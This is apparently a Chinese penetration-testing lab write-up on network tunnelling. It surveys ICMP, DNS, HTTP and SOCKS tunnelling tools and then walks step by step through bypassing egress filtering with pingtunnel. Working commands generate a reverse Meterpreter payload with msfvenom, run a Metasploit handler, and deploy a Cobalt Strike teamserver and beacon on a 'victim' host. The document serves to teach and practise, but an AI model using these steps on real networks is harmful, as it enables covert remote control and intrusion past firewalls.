一般的网络通信、先在两台机器之间建立 TCP 连接,然后进行正常的数据通信。在知道IP 地址的情况下、可以直接发送报文:如果不知道IP 地址,就需要将域名解析成IP 地址。在实际的网络中、通常会通过各种边界设备、软/硬件防火墙甚至人侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。
什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。常用的隧道列举如下。
判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS,ICMP等)及端口通信的情况。常见的允许流量流出的端口有 80、8080、443、53、110、123 等。常用的内网连通性判断方法有:
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道,需要root权限,动静极大,不推荐使用
tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
powershell版的netcat
具有记录转发流的功能,方便查看转发内容,需要安装
windows系统自带的网络配置工具
端口转发工具
一款lcx在golang下的实现,更好的跨平台,更完善的文档
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险
由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等
不仅可以创建DNS隧道,更是C2
dnscat2的powershell客户端
TCP over DNS,即通过DNS隧道转发TCP连接
IPv4 over DNS,即通过DNS隧道转发IPv4数据包
SOCKS over HTTP,即通过HTTP隧道转发SOCKS
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp
十分方便的多级SOCKS代理,已经永久停止更新
EarthWorm的升级版,已经永久停止更新
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
正向和反向的socks工具,可执行文件的大小很小
go语言编写的socks服务工具,良好的跨平台特性
通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道
(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网)
tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。
icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。
https://github.com/esrrhs/pingtunnel/releases
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
https://github.com/esrrhs/pingtunnel/releases
实战背景:通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有icmp协议可以出网),tcp和udp等传输层协议不能出网,dns、http等应用层协议也不能出网,只有icmp协议可以出网。
icmp协议可以出网,可以利用icmp协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过icmp隧道转发tcp、udp、socks5连接。
1.准备好一个具有公网ip的服务器(kali),root权限运行以下命令,启动ICMP隧道,设置type为服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端(即需要通过ICMP隧道上线的主机,本来是想通过win 7建立隧道,无奈实在无法实现,只得在真机中进行,稍后会利用CS4.0进行在win7中建立隧道),执行以下命令即可成功创建反向ICMP隧道
#pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip(服务端的IP) -t
c2_server_ip:7777(C2服务端的IP) -tcp 1 -noprint 1 -nolog 1
该命令的意思是icmp客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,
将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.200.14 -t
192.168.200.14:7777 -tcp 1 -noprint 1 -nolog 1
3.生成反向payload的meterpreter,上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1(目标本地IP)
lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口
4.启动msf监听,等待meterpreter执行上线
# 这里的lhost和lport为icmp客户端转发到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:7777
分析:流量走向:pingtunnel服务端----》pingtunnel客户端7777----》pingtunnel服务端7777
1.root权限运行以下命令,启动ICMP隧道(kali
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端(win 7)
pingtunnel.exe -type client -l :7777 -s 192.168.200.14 -t
192.168.200.47:8899 -tcp 1 -noprint 1 -nolog 1
#监听客户端本地的7777端口,然后通过192.168.200.14来连接到ICMP隧道,
将客户端7777收到的tcp数据包转发到服务端 cs192.168.200.47:8899
将下载后的 Cobaltstrike 4.0 安装包上传到 VPS 服务器(Ubuntu)上并解压缩,服务端关键的文件是 teamserver,先将其修改位可执行文件,再执行./teamserver可以看到如下说明:
./teamserver 服务端IP地址 连接服务器密码(任意)
启动 CS 服务
【注意】:
1、Teamserver 必须以 root 权限运行
2、若出现权限问题执行命令赋予权限:chmod 777 teamserver
Cobaltstrike 客户端在 Windows、Linux、Mac下都可以运行 (需要 Java 环境)。启动 Cobalt Strike 客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置
如下界面,已成功连接到 CS 服务端
设置监听的本地的IP地址7777端口
生成后门
在受害主机本地执行,选择第2个payload,于是将生成的payload上传至受害主机win 7
将生成的 Payload 文件 beacon.exe(或者xxxx.exe) 上传后并双击1次运行 Payload即可:
倘若多次点击,就会上线很多,没什么用处,用任务管理器结束掉即可
Cobalt Strike 客户端出现了目标主机上线
【注意】
只针对于本次实验需求设计于此,如有错误,恳请各路指正,不胜感激!
本次实验记录,只限于个人搭建环境练习,不得用于任何非法用途,否则后果自负!
CS使用参考文章:https://blog.csdn.net/weixin_39190897/article/details/118243520